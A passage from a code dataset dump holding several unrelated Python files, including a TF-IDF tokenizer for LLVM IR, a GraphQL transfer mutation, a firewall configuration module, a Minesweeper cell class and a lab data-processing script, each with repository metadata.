re.sub(r'(!)(\\d+)', \"\", block)\n #before = len(block)\n #block = re.sub(r'(store i32 5555*)','',block)\n #block = re.sub(r'(store i32 4444*)','',block)\n #after = len(block)\n #if before > after:\n # print(block.replace('|.|','\\n'))\n #clean comma at the end of each line\n #block = re.sub(r'(,)(\\s)(\\|)(\\.)(\\|)','|.|',block)\n #block = re.sub(r'(,)(\\|)(\\.)(\\|)','|.|',block)\n #replace %n with VAR\n block = re.sub(r\"(%)(\\d+)\", \"VARo\", block)\n block = re.sub(r\"(%)(_\\d+)\", \"VARo\", block)\n #replace %varname with namedVar\n block = re.sub(r'(%)((?:[a-z][a-z0-9_\\.]*))', \"VARo\", block)\n block = re.sub(r'(%)(.)((?:[a-z_][a-z0-9_\\.]*))', \"VARo\", block)\n\n #replace %n with REF\n block = re.sub(r\"(@)(\\d+)\", \"REFo\", block)\n #replace %varname with namedVar\n block = re.sub(r'(@)((?:[a-z][a-z0-9_\\.]*))', \"REFo\", block)\n block = re.sub(r'(@)(.)((?:[a-z_][a-z0-9_\\.]*))', \"REFo\", block)\n\n #block = re.sub(r\"-?(\\d+)\", \"KONSTANT\", block)\n\n #replace llvm native functions\n block = re.sub( r'(call)(\\s)(void)(\\s)(@llvm.).*?(\\|)(\\.)(\\|)',' |.|',block) #(\\.)*?(\\|)(\\.)(\\|)','|.|',block)\n #replace int pointers\n #block = re.sub(r'(i8)', \"io\", block)\n #block = re.sub(r'(i16)', \"ih\", block)\n #block = re.sub(r'(i32)', \"itt\", block)\n #block = re.sub(r'(i64)', \"iss\", block)\n \n #clean #numbers\n block = re.sub(r'0[xX][0-9a-fA-F]+','hexval', block) \n block = re.sub(r'0[xX][k0-9a-fA-F]+','hextag', block) \n block = re.sub(r'(#)(\\d+)', \"#n\", block)\n #replace %n with VAR\n #block = re.sub(r'(,)(\\s+)', \"narg\", block)\n #block = re.sub(r'(;)', \" \", block)\n #replace int values\n block = re.sub(r\"[+\\-]?[^\\w]?(?:0|[1-9]\\d*)(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)\", \"KE\", block)\n #block = re.sub(r\"-?[\\d.]+(?:e-?\\d+)?\", \"KE\", block)\n block = re.sub(r'([\\s[;(^-])(\\d+)([ \\)\\];,$])',r'\\1N\\3', block)\n block = re.sub(r'(\\s+)(\\d+)(\\s+)', \" N \", block)\n block = re.sub(r'(\\s+)(\\d+)(\\))', \" N) \", block)\n block = re.sub(r'(\\s+)(\\d+)(,)', \" N,\", block)\n block = re.sub(r'(\\s+)(-)(\\d+)(\\s+)', \"-N \", block)\n block = re.sub(r'(\\s+)(-)(\\d+)(,)', \"-N\", block)\n block = re.sub(r'(\\b-\\d+\\b)', \"-N\", block)\n block = re.sub(r'(\\b\\d+\\b)', \"N\", block)\n return block\n def dump_tokens(x,y):\n #print(\"x:\",x,\"y:\",y)\n x.tokens.add_documents([y])\n def get_tokens(x,y):\n if not isinstance(y,str):\n print('size',x.dataframe.size)\n print(tabulate(x.dataframe, headers='keys', tablefmt='psql'))\n print(y)\n exit (1)\n\n unclean_y = y#.split('|.|')\n y = x.clean_IR(y.lower())\n clean_y = y#.split('|.|')\n z = zip(clean_y,unclean_y)\n #for ci,ui in z:\n # print(\"From\\n\", ui, '\\nTo:\\n', ci, '\\n')\n # print(\"**********************\")\n #print(unclean_y.replace('|.|','\\n'),'##############\\n',clean_y.replace('|.|','\\n'),'************')\n a= [word for word in y.replace(\"|.|\",'\\n').split() if word not in ['',' ',\",\",\"%\",\"(\",\")\",\",\",\":\",\"\\n\",\"$\",\"|.|\"]]\n return a\n def __init__(self, dataframe):\n self.dataframe = dataframe\n self.tokens = dictionary.Dictionary()\n # Retrieve tokens form documents, populating the tokens dictionary\n self.dataframe = self.dataframe.apply(self.get_tokens)\n #print(tabulate(self.dataframe, headers='keys', tablefmt='psql'))\n print(self.dataframe)\n self.dataframe.apply(self.dump_tokens)\n #self.tokens.add_documents(content)\n\n def __iter__(self):\n # Iterate over documents in the corpus retrurning their token counts\n for index,doc in self.dataframe.iteritems():\n yield self.tokens.doc2bow(doc)\n\ndef cmpTuple(x,y):\n# if type(x) != tuple or type(y) != tuple or not len(x) == len(y) == 2:\n# return 0\n if x[1] > y[1]:\n return -1\n elif x[1] < y[1]:\n return 1\n else:\n return 0 \ndef getTupleKey(l, k):\n if len(l) < 1:\n return 0\n for element in l:\n if type(element) == tuple and len(element) == 2:\n if element[0] == k:\n return element[1]\n return 0\ndef extractTFIDFMemoryFriendly(df, maxfeatures=128,data_path='',tokenextension=\"token\", outextension=\"tfidf\"):\n#\"\"\" Extracts TF-IDF features from corpus using the memory friendly gensim library \"\"\"\n# try:\n# Now instantiate an instance of the MyCorpus class\n corpus_mem_friendly = MyCorpus(df)\n # Save the tokens to file and load them again just to get the cross-document count (:s)\n filename = \"corpus.%s\" % (tokenextension)\n corpus_mem_friendly.tokens.save_as_text(os.path.join(data_path,filename))\n print(\"Saved\",filename)\n tokens = open(os.path.join(data_path,filename)).read().split('\\n')\n tokenTuples = []\n for t in tokens:\n #print(t)\n if len(t) > 1 and len(t.split('\\t'))>2:\n tokenTuples.append((int(t.split('\\t')[0]), int(t.split('\\t')[2])))\n# Now sort them descendingly\n#print tokenTuples #TODO: Remove me!!\n tokenTuples.sort(key=functools.cmp_to_key(cmpTuple))\n #exit(1)\n #print(tokenTuples)\n\n# Build a list of vectors\n allVectors = [v for v in corpus_mem_friendly]\n\n# Build a numpy matrix of zeros\n #X = numpy.zeros((df.count(), maxfeatures))\n X = numpy.zeros((len(allVectors),min(len(tokenTuples),maxfeatures)))\n print('X',len(X),len(X[0]))\n print('Vector',len(allVectors),min(len(tokenTuples),maxfeatures))\n # Go over the first [maxfeatures] of the tokenTuples and populate the matrix\n #prettyPrint(\"Picking the best %s features from the sorted tokens list\" % maxfeatures)\n\n for vectorIndex in range(len(allVectors)):\n #print(\"Processing vector #%s out of %s vectors\" % (vectorIndex+1, len(allVectors)))\n for featureIndex in range(min(len(tokenTuples),maxfeatures)):\n# a. Get the token key\n tokenKey = tokenTuples[featureIndex][0]\n#print allVectors[vectorIndex], tokenKey, getTupleKey(allVectors[vectorIndex], tokenKey)\n a = getTupleKey(allVectors[vectorIndex], tokenKey)\n X[vectorIndex][featureIndex] = a\n\n#print corpus_mem_friendly.tokens.token2id\n#print tokenTuples\n#print X\n\n # Now apply the TF-IDF transformation\n optimusPrime = TfidfTransformer()\n print(\"Extracting TF-IDF features\")\n X_tfidf = optimusPrime.fit_transform(X)\n print (type(X_tfidf))\n #print(\"Saving TF-IDF vectors to \\\"%s\\\" files\" % outextension)\n #for doc_index in range(df.count()):\n #print(X_tfidf.toarray()[doc_index,:].tolist())\n #tfidf_file = open(allfiles[doc_index].replace(tokenextension, outextension), \"w\")\n #tfidf_file.write(str(X_tfidf.toarray()[doc_index,:].tolist()))\n #tfidf_file.close()\n #os.unlink(filename)\n\n# except Exception as e:\n# print(\"Error encountered in \\\"extractTFIDFMemoryFriendly\\\": %s\" % e, \"error\")\n# return False\n re= pd.DataFrame(X_tfidf.todense())\n #print(re)\n return re\n","sub_path":"ml-scripts/tfidf.py","file_name":"tfidf.py","file_ext":"py","file_size_in_byte":7970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"459329119","text":"from __future__ import annotations\n\nfrom dataclasses import asdict\nimport base64\nimport logging\nimport os\nfrom typing import Optional\n\nfrom asgiref.sync import async_to_sync\nimport strawberry\nfrom strawberry.scalars import JSON\nfrom strawberry.types import Info\nfrom django.db import transaction\n\nfrom ....core.constants import TransferResult\nfrom ...actions.update import transfer_value, create_content_fn\nfrom ...models import Content\nfrom ...utils.auth import (\n ids_to_results,\n get_cached_result,\n)\nfrom ..arguments import (\n AuthList,\n PushContentInput,\n)\nfrom ...utils.arguments import pre_clean_content_spec\nfrom ..definitions import ContentNode\n\nlogger = logging.getLogger(__name__)\n\n\n@strawberry.type\nclass PushContentMutation:\n content: ContentNode\n actionKey: Optional[str]\n\n\ndef mutate_push_content(\n info: Info,\n content: PushContentInput,\n authorization: Optional[AuthList] = None,\n) -> PushContentMutation:\n content = asdict(content)\n parent_id = content.pop(\"parent\")\n result = ids_to_results(\n info.context.request,\n parent_id,\n Content,\n \"push\",\n authset=authorization,\n )[\"Content\"]\n source = result[\"objects\"].first()\n if not source:\n raise ValueError(\"Content not found\")\n cleaned_result = pre_clean_content_spec(True, content, result)\n required_keys = set(\n Content.objects.required_keys_full(source.cluster).values_list(\n \"contentHash\", flat=True\n )\n )\n action_key = None\n if cleaned_result[\"updateable\"]:\n action_key = os.urandom(32)\n content[\"actions\"] = [\n {\n \"key\": action_key,\n \"action\": \"update\",\n \"restrict\": True,\n \"freeze\": cleaned_result[\"freeze\"],\n }\n ]\n c = create_content_fn(\n info.context.request,\n content,\n required_keys=required_keys,\n authset=authorization,\n )(transaction.atomic)\n f = get_cached_result(info.context.request, authset=authorization)\n f[\"Content\"]\n f[\"Cluster\"]\n return PushContentMutation(\n content=c, actionKey=base64.b64encode(action_key).decode(\"ascii\")\n )\n\n\n@strawberry.type\nclass TransferMutation:\n\n content: Optional[ContentNode] = None\n\n\ndef mutate_transfer(\n info: Info,\n id: strawberry.ID,\n url: Optional[str] = None,\n key: Optional[\n str\n ] = None, # strawberry.argument(description=\"Transfer Key\")\n headers: Optional[JSON] = None,\n authorization: Optional[AuthList] = None,\n) -> TransferMutation:\n result = ids_to_results(\n info.context.request, id, Content, \"update\", authset=authorization\n )[\"Content\"]\n content_obj = result.objects.first()\n if not content_obj:\n raise ValueError()\n if key and url:\n raise ValueError()\n\n trustedKeys = set()\n for action_id in result[\"active_actions\"]:\n action_dict = result[\"decrypted\"][action_id]\n trustedKeys.update(action_dict.get(\"trustedKeys\"))\n verifiers = Content.objects.filter(\n contentHash__in=trustedKeys, type=\"PublicKey\"\n )\n\n tres = async_to_sync(\n transfer_value(\n content_obj, key=key, url=url, headers=headers, verifiers=verifiers\n )\n )\n\n if tres in {\n TransferResult.NOTFOUND,\n TransferResult.FAILED_VERIFICATION,\n }:\n content_obj.delete()\n elif result == TransferResult.SUCCESS:\n f = get_cached_result(info.context.request, authset=authorization)\n f[\"Content\"]\n f[\"Cluster\"]\n return TransferMutation(content=content_obj)\n return TransferMutation(content=None)\n","sub_path":"secretgraph/server/schema/mutations/transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":3661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"535228606","text":"import os\nimport json\nprint(\"this is \" + __name__ )\n\n# 模板地址\ntemplatesPath = \"Templates\"\n# 配置文件\nconfigPath = \"Config\"\n# 对象配置\ndomainConfig = \"main.cfg\"\nfp = open(configPath + \"\\\\\" + domainConfig, \"r\", encoding = \"utf-8\")\ntext = fp.read()\nfp.close()\ncfg = json.loads(text)\n# 对象属性\ndateDict = cfg[\"domain\"]\n# 对象名称\nobj = cfg[\"name\"]\nObj = chr(ord(obj[0]) - ord('a') + ord('A')) + obj[1:]\n# 模板名称\ntemplateName = \"{object}.html\"\n# 文件名称\nfileName = templateName.replace(\"{object}\", obj)\n# 输出地址\n# outPath = \"out\"\noutPath = \"RuoYi\\\\ruoyi-admin\\\\src\\\\main\\\\resources\\\\templates\\\\system\\\\{object}\".replace(\"{object}\", obj)\nif os.path.exists(outPath) == False:\n os.makedirs(outPath)\n# 输出模板\nInputTemplate = \"<li>\\n{chinese}:<input type=\\\"text\\\" name=\\\"{key}\\\"/>\\n</li>\\n\" \nTableTemplate = \"\\tfield : '{key}',\\n\\ttitle : '{chinese}',\\n\\tsortable : {sortable}\\n\"\n\ntableDefine = \"\\n\"\ninputDefine = \"\\n\"\n\nfor k in dateDict.keys():\n tableDefine += \"{\\n\" + TableTemplate.format(key= k, chinese = dateDict[k][\"chinese\"], sortable = dateDict[k][\"sortable\"]) + \"},\\n\"\n inputDefine += InputTemplate.replace(\"{chinese}\", dateDict[k][\"chinese\"]).replace(\"{key}\", k)\nfp = open(templatesPath + \"\\\\\" + templateName, \"r\", encoding = \"utf-8\")\nfpout = open(outPath + \"\\\\\"+ fileName, \"w\", encoding = \"utf-8\")\nprint(outPath + \"\\\\\"+ fileName)\ntext = fp.read()\ntext = text.replace(\"{tableDefine}\", tableDefine)\ntext = text.replace(\"{inputDefine}\", inputDefine)\ntext = text.replace(\"{object}\", obj)\nfpout.write(text)\nfpout.close()\nfp.close()\n","sub_path":"RuoYIMainHTMLTool.py","file_name":"RuoYIMainHTMLTool.py","file_ext":"py","file_size_in_byte":1591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"31870153","text":"#!/usr/bin/env python\n\n# Copyright (c) 2014, Palo Alto Networks\n#\n# Permission to use, copy, modify, and/or distribute this software for any\n# purpose with or without fee is hereby granted, provided that the above\n# copyright notice and this permission notice appear in all copies.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\" AND THE AUTHOR DISCLAIMS ALL WARRANTIES\n# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF\n# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR\n# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES\n# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN\n# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF\n# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.\n\n# Author: Brian Torres-Gil <btorres-gil@paloaltonetworks.com>\n\n\"\"\"Device module contains objects that exist in the 'Device' tab in the firewall GUI\"\"\"\n\nfrom base import PanObject, Root, MEMBER, ENTRY\nfrom base import VarPath as Var\n\n# import other parts of this pandevice package\nfrom pandevice import getlogger\nimport errors as err\n\nlogger = getlogger(__name__)\n\n\nclass VsysResources(PanObject):\n \"\"\"Resource constraints for a Vsys\n\n Args:\n max-security-rules (int): Maximum security rules\n max-nat-rules (int): Maximum nat rules\n max-ssl-decryption-rules (int): Maximum ssl decryption rules\n max-qos-rules (int): Maximum QOS rules\n max-application-override-rules (int): Maximum application override rules\n max-pbf-rules (int): Maximum policy based forwarding rules\n max-cp-rules (int): Maximum captive portal rules\n max-dos-rules (int): Maximum DOS rules\n max-site-to-site-vpn-tunnels (int): Maximum site-to-site VPN tunnels\n max-concurrent-ssl-vpn-tunnels (int): Maximum ssl VPN tunnels\n max-sessions (int): Maximum sessions\n\n \"\"\"\n\n XPATH = \"/import/resource\"\n ROOT = Root.VSYS\n\n @classmethod\n def variables(cls):\n return (\n Var(\"max-security-rules\", vartype=\"int\"),\n Var(\"max-nat-rules\", vartype=\"int\"),\n Var(\"max-ssl-decryption-rules\", vartype=\"int\"),\n Var(\"max-qos-rules\", vartype=\"int\"),\n Var(\"max-application-override-rules\", vartype=\"int\"),\n Var(\"max-pbf-rules\", vartype=\"int\"),\n Var(\"max-cp-rules\", vartype=\"int\"),\n Var(\"max-dos-rules\", vartype=\"int\"),\n Var(\"max-site-to-site-vpn-tunnels\", vartype=\"int\"),\n Var(\"max-concurrent-ssl-vpn-tunnels\", vartype=\"int\"),\n Var(\"max-sessions\", vartype=\"int\"),\n )\n\n\nclass Vsys(PanObject):\n \"\"\"Virtual System (VSYS)\n\n You can interact with virtual systems in two different ways:\n\n **Method 1**. Use a :class:`pandevice.firewall.Firewall` object with the 'vsys'\n variable set to a vsys identifier (eg. 'vsys2'). In this case,\n you don't need to use this Vsys class. Add other PanObject instances\n (like :class:`pandevice.objects.AddressObject`) to the Firewall instance\n\n **Method 2**. Add an instance of this Vsys class to a :class:`pandevice.firewall.Firewall`\n object. It is best practice to set the Firewall instance's 'shared'\n variable to True when using this method. Add other PanObject instances\n (like :class:`pandevice.objects.AddressObject`) to the Vsys instance.\n\n Args:\n name (str): Vsys identifier (eg. 'vsys1', 'vsys5', etc)\n display_name (str): Friendly name of the vsys\n interface (list): A list of strings with names of interfaces\n or a list of :class:`pandevice.network.Interface` objects\n\n \"\"\"\n\n XPATH = \"/vsys\"\n ROOT = Root.DEVICE\n SUFFIX = ENTRY\n\n @classmethod\n def variables(cls):\n return (\n Var(\"display-name\"),\n Var(\"import/network/interface\", vartype=\"member\")\n )\n\n def xpath_vsys(self):\n if self.name == \"shared\" or self.name is None:\n return \"/config/shared\"\n else:\n return \"/config/devices/entry[@name='localhost.localdomain']/vsys/entry[@name='%s']\" % self.name\n\n @property\n def vsys(self):\n return self.name\n\n @vsys.setter\n def vsys(self, value):\n self.name = value\n\n\nclass NTPServer(PanObject):\n \"\"\"A primary or secondary NTP server\n\n This is an abstract base class, do not instantiate it.\n\n Args:\n address (str): The IP address of the NTP server\n \"\"\"\n # TODO: Add authentication\n # TODO: Add PAN-OS pre-7.0 support\n\n XPATH = \"/ntp-servers/primary-ntp-server\"\n\n def __init__(self, *args, **kwargs):\n if type(self) == NTPServer:\n raise err.PanDeviceError(\"Do not instantiate class. Please use a subclass.\")\n super(NTPServer, self).__init__(*args, **kwargs)\n\n @classmethod\n def variables(cls):\n return (\n Var(\"ntp-server-address\", \"address\"),\n )\n\n\nclass NTPServerPrimary(NTPServer):\n \"\"\"A primary NTP server\n\n Add to a :class:`pandevice.device.SystemSettings` object\n\n Args:\n address (str): IP address or hostname of NTP server\n \"\"\"\n XPATH = \"/ntp-servers/primary-ntp-server\"\n\n\nclass NTPServerSecondary(NTPServer):\n \"\"\"A secondary NTP server\n\n Add to a :class:`pandevice.device.SystemSettings` object\n\n Args:\n address (str): IP address or hostname of NTP server\n \"\"\"\n XPATH = \"/ntp-servers/secondary-ntp-server\"\n\n\nclass SystemSettings(PanObject):\n \"\"\"Firewall or Panorama device system settings\n\n Add only one of these to a parent object.\n\n Args:\n hostname (str): The hostname of the device\n domain (str): The domain of the device\n ip_address (str): Management interface IP address\n netmask (str): Management interface netmask\n default_gateway (str): Management interface default gateway\n ipv6_address (str): Management interface IPv6 address\n ipv6_default_gateway (str): Management interface IPv6 default gateway\n dns_primary (str): Primary DNS server IP address\n dns_secondary (str): Secondary DNS server IP address\n timezone (str): Device timezone\n panorama (str): IP address of primary Panorama\n panorama2 (str): IP address of secondary Panorama\n login_banner (str): Login banner text\n update_server (str): IP or hostname of the update server\n\n \"\"\"\n\n ROOT = Root.DEVICE\n XPATH = \"/deviceconfig/system\"\n HA_SYNC = False\n CHILDTYPES = (\n \"device.NTPServerPrimary\",\n \"device.NTPServerSecondary\",\n )\n\n @classmethod\n def variables(cls):\n return (\n Var(\"hostname\"),\n Var(\"domain\"),\n Var(\"ip-address\"),\n Var(\"netmask\"),\n Var(\"default-gateway\"),\n Var(\"ipv6-address\"),\n Var(\"ipv6-default-gateway\"),\n Var(\"dns-setting/servers/primary\", \"dns_primary\"),\n Var(\"dns-setting/servers/secondary\", \"dns_secondary\"),\n Var(\"timezone\"),\n Var(\"panorama-server\", \"panorama\"),\n Var(\"panorama-server-2\", \"panorama2\"),\n Var(\"login-banner\"),\n Var(\"update-server\"),\n )\n","sub_path":"pandevice/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":7167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"510281842","text":"#!/python3\n\nstring = input(\"Please insert a sentence: \")\n\ndef reverse_v1(x):\n y = x.split()\n result = []\n for word in y:\n result.insert(0,word)\n return \" \".join(result)\n\nprint(reverse_v1(string))","sub_path":"reverseWordOrder.py","file_name":"reverseWordOrder.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"327673592","text":"from .BaseIndividual import BaseIndividual, estimate_birth_date, estimate_death_date\nfrom .GedcomParsing import _get_relevant_events\n\n\nclass GedcomIndividual(BaseIndividual):\n \"\"\"\n GedcomIndividual class for gedcom files\n \"\"\"\n\n def __init__(self, instances, database_fam, database_indi, individual_id):\n BaseIndividual.__init__(self, instances, individual_id)\n self._database_fam = database_fam\n self._database_indi = database_indi\n self._initialize()\n\n def _initialize(self):\n BaseIndividual._initialize(self)\n if 'FAMC' in self._database_indi[self.individual_id]:\n self.child_of_family_id = self._database_indi[self.individual_id]['FAMC']['tag_data'].split(\n '\\n')\n _get_relevant_events(self._database_indi,\n self.individual_id, self.events)\n estimate_birth_date(self, self._instances)\n estimate_death_date(self)\n\n def _get_name(self):\n if 'NAME' in self._database_indi[self.individual_id]:\n return self._database_indi[self.individual_id]['NAME']['tag_data'].split('/')\n else:\n return [\"\"]\n\n name = property(_get_name)\n\n def _get_father_and_mother(self):\n family_id = self._database_indi[self.individual_id]['FAMC']['tag_data']\n husb = self._database_fam[family_id].get('HUSB')\n wife = self._database_fam[family_id].get('WIFE')\n if husb:\n husb = husb['tag_data']\n if wife:\n wife = wife['tag_data']\n return husb, wife\n\n def _get_marriage_family_ids(self):\n try:\n if 'FAMS' not in self._database_indi[self.individual_id]:\n return []\n return self._database_indi[self.individual_id]['FAMS']['tag_data'].split('\\n')\n except:\n pass\n return []\n","sub_path":"life_line_chart/GedcomIndividual.py","file_name":"GedcomIndividual.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"316161807","text":"import multiprocessing\nimport decode_raw_data\nimport date_time_handling\nimport datetime\nimport comet_init\nimport time\nimport numpy as np\nfrom global_variables import *\n\n\n#----------------------------------------------------- Inputs ----------------------------------------------------\nOBU_Directory = '../inputs/OBU_Proxy'\nKM_TARGET = 1500\nfilter_obu_data_type = [14]\nd0 = datetime.date(2020, 7, 25)\nd1 = datetime.date(2020, 8, 9)\nNprocs = 8\nfilter_obu_name = ['DSB IC3 5056']\nODO_or_GPS = 'ODO'\nif(Nprocs > 1):\n para = 1\nelse:\n para = 0\nperiods = date_time_handling.generate_periods(d0, d1, Nprocs)\nprint(periods)\n################################################## Loading RMR Messages ##################################################\nif __name__ == '__main__':\n periods = date_time_handling.generate_periods(d0, d1, Nprocs)\n #periods = date_time_handling.generate_periods2(d0, 7, Nprocs)\n print(periods)\n if(para == 1):\n start = time.perf_counter()\n p = multiprocessing.Pool(processes=Nprocs)\n RMR_Messages = p.starmap(decode_raw_data.extract_and_decode_rawData, [(OBU_Directory, periods[i], filter_obu_data_type, filter_obu_name) for i in range(Nprocs)])\n p.close()\n p.join()\n RMR_Messages_reduce = []\n for i in range(0,Nprocs):\n for m in RMR_Messages[i]:\n RMR_Messages_reduce.append(m)\n RMR_Messages_sorted = sorted(RMR_Messages_reduce, key = lambda x: (x.date_for_sort,x.time_for_sort))\n del RMR_Messages_reduce\n del RMR_Messages\n finish = time.perf_counter()\n print(finish - start)\n print('LENGTH MESSAGES : ', len(RMR_Messages_sorted))\n else:\n start = time.perf_counter()\n RMR_Messages = decode_raw_data.extract_and_decode_rawData(OBU_Directory, periods[0], filter_obu_data_type, filter_onu_name)\n RMR_Messages_sorted = sorted(RMR_Messages_reduce, key = lambda x: (x.date_for_sort,x.time_for_sort))\n del RMR_Messages\n finish = time.perf_counter()\n print(finish - start)\n size = len(RMR_Messages)\n print('LENGTH MESSAGES : ', size)\n\n##########################################################################################################################\n\n\n \n TrainID = []\n print_successive = 0\n f = open('../inputs/id_train_mapping.txt','r+')\n id_name_map = f.readlines()\n f.close()\n for train_name in filter_obu_name:\n TrainID.append(decode_raw_data.get_OBU_ID_from_OBU_NAME(train_name, id_name_map))\n\n for i in range(len(filter_obu_name)):\n comet_init.check_reset_COMET(TrainID[i], filter_obu_name[i], RMR_Messages_sorted, ODO_or_GPS, print_successive)\n \n\n\n\n\n","sub_path":"src/reset_comet.py","file_name":"reset_comet.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"392686208","text":"from django.urls import path\nfrom .views import *\n\nurlpatterns = [\n path('', home, name='home' ),\n path('register', register, name='register' ),\n path('signIn', signIn, name='signIn' ),\n path('signOut', signOut, name='signOut' ),\n path('profile', profile, name='profile' ),\n path('post', post, name='post' ),\n path('veiwpost/<str:pk>/', viewpost, name='viewpost' ),\n]","sub_path":"awward/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"389184091","text":"import random\nimport time\n\nclass Cell():\n def __init__(self, x, y, board):\n self.x = x\n self.y = y\n self.board = board\n self.colour = '#558B2F'\n self.status = random.randint(0, 3)\n if self.status == 2 or self.status == 3:\n self.status = 0\n self.revealed = False\n self.mines = 0\n \n def __str__(self):\n return '{}, {}'.format(self.x, self.y)\n \n def show(self):\n fill(self.colour)\n rect(self.x, self.y, 20, 20)\n \n if self.status != 1 and self.mines != 0:\n font = loadFont(\"Monospaced.bold-48.vlw\")\n textFont(font, 10)\n fill(0)\n text(str(self.mines), self.x + 10, self.y + 14)\n \n def reveal(self):\n if(self.status == 1):\n self.colour = '#212121'\n self.board.end_game()\n \n elif(self.status == 0):\n if(self.revealed):\n return\n else:\n self.colour = '#AED581'\n self.revealed = True\n neighbours = self.find_neighbours()\n for coord in neighbours:\n cell = self.board.get_cell(coord[0], coord[1])\n if cell.status == 1:\n self.mines += 1\n else: continue\n \n if self.mines > 0:\n return\n \n elif self.mines == 0:\n for coord in neighbours:\n cell = self.board.get_cell(coord[0], coord[1])\n cell.reveal()\n \n def show_mine(self):\n self.colour = 100\n \n def find_neighbours(self):\n \n neighbors = []\n x_max = self.x + 20 if self.x + 20 < self.board.h else self.x\n x_min = self.x - 20 if self.x - 20 >= 0 else self.x\n y_max = self.y + 20 if self.y + 20 < self.board.h else self.y\n y_min = self.y - 20 if self.y - 20 >= 0 else self.y\n\n for i in range(x_min, x_max + 1, 20):\n for j in range(y_min, y_max + 1, 20):\n if i != self.x or j != self.y: # DeMorgan's 1st Law: negating conjuctions\n neighbors.append([i, j])\n\n return neighbors\n","sub_path":"low-fidelity/Minesweeper/Cell.py","file_name":"Cell.py","file_ext":"py","file_size_in_byte":2297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"653482158","text":"import pandas as pd\nimport numpy as np\nimport os\nimport sys\nimport datetime\nfrom boundaries import room_classes\nfrom ANP0019 import get_ANP0019_data\nfrom ANP0020 import get_ANP0020_data\nfrom ANP0082 import get_ANP0082_data\nfrom ANP0230 import get_ANP0230_data\nfrom count_samples import count_ANP0019,count_ANP0020,count_ANP0230\nfrom Data_sheets import create_datasheets\n\ndef dataFiltration(filename):\n infile = open(filename, \"r\")\n outfile = open(filename[:-4] + \"_filtered.txt\", \"w+\")\n flag_list = ['Plant:', 'Suite/System:', 'Date', 'Sampling', 'Feller',\n 'Ave.', 'CFU/plate', 'Printed', 'End', 'Test/Specification']\n for line in infile:\n line = line.split()\n if len(line) >= 1 and line[0] not in flag_list:\n print(\"\\t\".join(line), file=outfile)\n\n\ndef sort_dataframe(data, ANP, room):\n # Extract the data in the correct format\n df = pd.DataFrame(data)\n \n if room == \"1_G13\" and ANP == \"ANP0230\":\n pokemon_og_games = df.loc[df.iloc[:,0].str.contains(\"PERS\", case=False)]\n if pokemon_og_games.shape[0] > 0:\n return None\n\n for index, row in df.iterrows():\n if df.iloc[index, -1] is None:\n df.iloc[index, :] = df.iloc[index, :].shift(1)\n # Print to CSV.files\n if not os.path.exists('data/{}'.format(ANP)):\n os.makedirs('data/{}'.format(ANP))\n os.makedirs('data/{}/raw'.format(ANP))\n df.to_csv(\"data/{}/raw/{}.csv\".format(ANP, room),\n header=False, index=False, na_rep=\"NaN\")\n\n\ndef read_file(file_name):\n lims_file = open(file_name[:-4] + \"_filtered.txt\", \"r\")\n data = []\n ANP = None\n for line in lims_file:\n line = line.split()\n # If i read a Category and the len of the data is above one print and reset the room number\n if line[0] == \"Category:\":\n if len(data) >= 1:\n sort_dataframe(data, ANP, room)\n data = []\n room = line[1]\n # If you read ANP and the data is above one reset and print using the ANP and room\n elif \"ANP\" in line[0]:\n if len(data) >= 1:\n sort_dataframe(data, ANP, room)\n data = []\n ANP = line[0]\n \n elif ANP is not None:\n data.append(line)\n\n\nif __name__ == \"__main__\":\n os.system(\"./clean.sh\")\n # fil_navn = \"data/lims_data/Q1_jan_mar_2020.txt\"\n fil_navn = \"data/lims_data/Q2_(Apr-Jun)_2020_rigtig.txt\"\n slut_dato = \"2020-07-01\"\n dataFiltration(fil_navn)\n read_file(fil_navn)\n get_ANP0019_data(slut_dato)\n get_ANP0020_data(slut_dato)\n # get_ANP0082_data()\n get_ANP0230_data(slut_dato)\n # count_ANP0019()\n # count_ANP0020()\n # count_ANP0230()\n # create_datasheets()\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"38449283","text":"\r\nfrom __future__ import absolute_import\r\nfrom __future__ import division\r\nfrom __future__ import print_function\r\n\r\nfrom compas_fea.fea import write_input_bcs\r\nfrom compas_fea.fea import write_input_elements\r\nfrom compas_fea.fea import write_input_heading\r\nfrom compas_fea.fea import write_input_materials\r\nfrom compas_fea.fea import write_input_nodes\r\nfrom compas_fea.fea import write_input_steps\r\n\r\nfrom compas_fea.fea.abaq import launch_job\r\nfrom compas_fea.fea.abaq import odb_extract\r\n\r\nfrom subprocess import Popen\r\nfrom subprocess import PIPE\r\n\r\nfrom time import time\r\n\r\nimport json\r\nimport os\r\n\r\n\r\n__author__ = ['Andrew Liew 